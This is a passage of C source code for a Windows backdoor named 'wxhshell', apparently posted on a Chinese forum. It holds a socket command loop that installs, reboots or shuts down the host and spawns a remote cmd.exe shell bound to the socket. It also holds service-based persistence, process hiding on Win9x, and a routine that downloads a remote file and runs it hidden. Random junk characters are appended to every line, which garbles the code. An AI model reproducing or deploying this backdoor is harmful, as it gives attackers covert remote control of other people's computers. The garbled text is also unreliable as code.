      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [A[vR7&S  
    break; wQ4/eQ*  
  } )jCAfdnCs  
  // 安装 "d%":F(  
  case 'i': { Y7!,s-v4W  
    if(Install()) a;([L8^7$l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'OkF.bs  
    else %hcY [F<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6 )xm?RK  
    break; eUx|_*`  
    } Y~fds#y0  
  // 卸载 u=RF6V|  
  case 'r': { jJ|O]v$N  
    if(Uninstall()) Q]IpHNt[>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hbxG  
    else U*[/F)!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Be0P[v  
    break; (MwB% g  
    } OG!^:OY  
  // 显示 wxhshell 所在路径 I9k o*f  
  case 'p': { b[$l{RQ[?  
    char svExeFile[MAX_PATH]; f>l}y->-Ug  
    strcpy(svExeFile,"\n\r"); ,58D=EgFy  
      strcat(svExeFile,ExeFile); k((_~<$2K  
        send(wsh,svExeFile,strlen(svExeFile),0); v:s~Y  
    break; @/B&R^aVZ  
    } &YqgMC  
  // 重启 dM#\h*:=  
  case 'b': { o!\Vk~Vi&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); A GS?<6W-  
    if(Boot(REBOOT)) n#bC ,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); / u>")f  
    else { ewY+a , t  
    closesocket(wsh); ^MQ7*g6o  
    ExitThread(0); lN{-}f;TN  
    } N\<M4 fn  
    break; a:v&pj+|<  
    } y$K!g&lGA  
  // 关机 J?u@' "u  
  case 'd': { `?91Cw=`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *%\z#Bje@  
    if(Boot(SHUTDOWN)) |BF4 F5wC?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D{ @x  
    else { f{k2sU*uBE  
    closesocket(wsh); PgxD?Oi8  
    ExitThread(0); 4CfPa6_  
    } ZIkXy*<(  
    break; |V%Qp5 XJ  
    } 6'+3""\  
  // 获取shell Y2QlK1.8V  
  case 's': { l#V"14y  
    CmdShell(wsh); LF{d'jJ&K  
    closesocket(wsh); MU%C_d%.  
    ExitThread(0); -~]*)&  
    break; qmv%N  
  } 9.D'!  
  // 退出 YYZE-{ %  
  case 'x': { qL UbRp  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =<n+AqJ%  
    CloseIt(wsh); >&Y8VLcK  
    break; iK= {pd  
    } 3dQV5E.  
  // 离开 I[@}+p0  
  case 'q': { Jc(tV(z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); yG2j!D  
    closesocket(wsh); Z &/b p1  
    WSACleanup(); .)ZK42Qd  
    exit(1); !imm17XQ\  
    break; YRAWylm  
        } 8b[ ^6]rM  
  } pDrM8)r  
  } ORyFE:p$  
/\_0daUx  
  // 提示信息 oCXBek?\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >z.o?F  
} rpQB# Pz  
  } ,eF}`  
aOA;"jR1  
  return; d^!)',`  
} Y u8a8p|  
Iyz};7yVI  
// shell模块句柄 iRBUX`0  
int CmdShell(SOCKET sock) ^<.mUaP  
{ ?8)_,  
STARTUPINFO si; o} YFDYi  
ZeroMemory(&si,sizeof(si)); BXnSkT7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0[H'l",~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; vp{jh-&  
PROCESS_INFORMATION ProcessInfo; jDqe)uVvtV  
char cmdline[]="cmd"; t+|c)"\5h  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .FtW $Y~y  
  return 0; ^8ZVB.Fv  
} a=.A/;|0*  
"z1\I\ ^  
// 自身启动模式 $*\[I{Zau}  
int StartFromService(void) v\'E o* 4  
{ Pp*|EW 1  
typedef struct Q]uxZ;}aF  
{ `h+sSIko  
  DWORD ExitStatus; &CV%+  
  DWORD PebBaseAddress; &S>m +m'  
  DWORD AffinityMask; nX7{09  
  DWORD BasePriority; am]$`7R5d  
  ULONG UniqueProcessId; %D)W~q-g  
  ULONG InheritedFromUniqueProcessId; Ze~^+ EE  
}   PROCESS_BASIC_INFORMATION; soRt<83  
2bPrND\P=  
PROCNTQSIP NtQueryInformationProcess; Ugp[Ugr  
#tRLvOR:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; t5\~Z}G8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )}0(7z Yu  
j,Eo/f+j5  
  HANDLE             hProcess; ] bz']`  
  PROCESS_BASIC_INFORMATION pbi;  {F+7> X  
}q^M  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); jSsbLa@  
  if(NULL == hInst ) return 0; :,h47'0A  
C4 H M  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); y)0r%=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -R?~Yysd7K  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +[<|TT  
"7(2m  
  if (!NtQueryInformationProcess) return 0; d3v5^5kU  
\tc 4DS  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); C (L1  
  if(!hProcess) return 0; _VLc1svv  
Eaf6rjD  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H~Xi;[{7  
k|(uIU* ]  
  CloseHandle(hProcess); F *_g3K!!  
6",S$3q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); s2FJ^4  
if(hProcess==NULL) return 0; z@R:~  
{dM18;  
HMODULE hMod; dMK| l   
char procName[255]; JS]6jUB<B  
unsigned long cbNeeded; TRW{` b[  
oKLL~X>!U  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }1 = V`N(  
u[5*RTE  
  CloseHandle(hProcess); TcPYDAa  
Q*u4q-DE  
if(strstr(procName,"services")) return 1; // 以服务启动 )kfj+/  
Km7HB!=<  
  return 0; // 注册表启动 !B5 }`*1D  
} kTZ`RW&0  
~>2@55wElp  
// 主模块 !C]0l  
int StartWxhshell(LPSTR lpCmdLine) Cbv$O o*  
{ #EQwl6  
  SOCKET wsl; u/-u l  
BOOL val=TRUE; d:cs8f4>  
  int port=0; 2+y<&[A8U  
  struct sockaddr_in door; Wnm?a!j5  
UIPi<_Xa  
  if(wscfg.ws_autoins) Install(); owM3Gz%?UA  
wl|cipy"  
port=atoi(lpCmdLine); R>f$*T  
9. :r;HG  
if(port<=0) port=wscfg.ws_port; 1Tz5tU9kR  
p_pI=_:  
  WSADATA data; IhoV80b  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; iPgewjx  
29p`G1n  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \X1?,gV_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6g06s @kz  
  door.sin_family = AF_INET; 7VQ|3`!<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \ <b-I  
  door.sin_port = htons(port); }i0(^"SoXZ  
pxy=edd  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ' P5t tI#|  
closesocket(wsl); zg L0v5vk  
return 1; WsO'4~X9  
} E:'TZ4Z  
nQm7At  
  if(listen(wsl,2) == INVALID_SOCKET) { EX zA(igS  
closesocket(wsl); GG@GjP<_  
return 1; sx7;G^93  
} [*^` rQ  
  Wxhshell(wsl); W?is8r:  
  WSACleanup(); /o%J / |  
rV;X1x}l  
return 0; r1dP9MT\8  
]U?)_P@}  
} ,tqMMBwC~_  
3Run.Gv\  
// 以NT服务方式启动 BSU%.tmI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8ExEhBX8  
{ )%H@.;cD_r  
DWORD   status = 0; @ )nxX))a  
  DWORD   specificError = 0xfffffff; =*<Cw?Gc  
vU= +  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0* 7N=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; lAYyxG#  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; K`}8fU   
  serviceStatus.dwWin32ExitCode     = 0; 36MqEUjyB  
  serviceStatus.dwServiceSpecificExitCode = 0; 4L<h% 'Zn  
  serviceStatus.dwCheckPoint       = 0; "*E06=fiG  
  serviceStatus.dwWaitHint       = 0; YhQ;>Ko  
=SMI,p&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -CePtq`  
  if (hServiceStatusHandle==0) return; W:s`;8iM$  
++{,1wY\  
status = GetLastError(); wNQhz.>y  
  if (status!=NO_ERROR) ,n )f=q*%  
{ 6jS:_[p  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "`WcE/(  
    serviceStatus.dwCheckPoint       = 0; ~\HGV+S!g}  
    serviceStatus.dwWaitHint       = 0; N_<wiwI<  
    serviceStatus.dwWin32ExitCode     = status; +Wgp~$o4  
    serviceStatus.dwServiceSpecificExitCode = specificError; 21k^MZ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :g@H=W  
    return; , gYbi-E  
  } 8['8ctX  
j'xk [bM  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; F<R+]M:fa  
  serviceStatus.dwCheckPoint       = 0; 9&]g2iT P  
  serviceStatus.dwWaitHint       = 0;  %<[?;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +q*Cw>t /  
} /O@TqH  
]dvNUD   
// 处理NT服务事件,比如:启动、停止 m[l[yUw#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8nKZ   
{ v>S[} du  
switch(fdwControl) VR:4|_o  
{ xcf`i:\  
case SERVICE_CONTROL_STOP: [22>)1<(  
  serviceStatus.dwWin32ExitCode = 0; _c:}i\8R  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $eqwn&$n  
  serviceStatus.dwCheckPoint   = 0; FR5P;Yz%H  
  serviceStatus.dwWaitHint     = 0; acG4u+[ ]  
  { J*I G]2'H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R#8.]  
  } Z@i"/~B|4\  
  return;  AW[_k%  
case SERVICE_CONTROL_PAUSE: J%9)&a W  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4n}tDHvd  
  break; <,:p?36  
case SERVICE_CONTROL_CONTINUE: RH^!7W*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )7`2FLG  
  break; 3fdx&}v/  
case SERVICE_CONTROL_INTERROGATE: o'#ow(X  
  break; A.[~}ywH  
}; eW"L")  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S8_>Lw  
} G&7!3u  
4xYW?s(  
// 标准应用程序主函数 Dej_(Dz_S  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !t.*xT4W  
{ ]; CTr0  
DERhmJ;>H  
// 获取操作系统版本 6 +2M$3_U  
OsIsNt=GetOsVer(); eG&3E`[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); T ?HG}(2  
j*7#1<T  
  // 从命令行安装  -9f+O^x  
  if(strpbrk(lpCmdLine,"iI")) Install(); BNj@~uC{  
p]lZ4#3  
  // 下载执行文件 o$Jop"To  
if(wscfg.ws_downexe) { ;kE|Vx  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Y<vHL<G  
  WinExec(wscfg.ws_filenam,SW_HIDE); cM|!jnKm  
} Tl/!Dn  
8k.<xWDU  
if(!OsIsNt) { 655OL)|cD6  
// 如果时win9x,隐藏进程并且设置为注册表启动 )0\"8}!  
HideProc(); ]i)g!J8f-  
StartWxhshell(lpCmdLine); sFrerv&0  
} 78u9> H  
else RkMs!M   
  if(StartFromService()) z\F#td{r  
  // 以服务方式启动 $F#eD 0|  
  StartServiceCtrlDispatcher(DispatchTable); Lo{g0~?x*  
else AP:(/@K|  
  // 普通方式启动 a7~%( L@r  
  StartWxhshell(lpCmdLine); Dwx^hNh  
!XtZI3Xu  
return 0; dX^d\ wX  
}
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只看该作者 1 发表于: 2006-10-10
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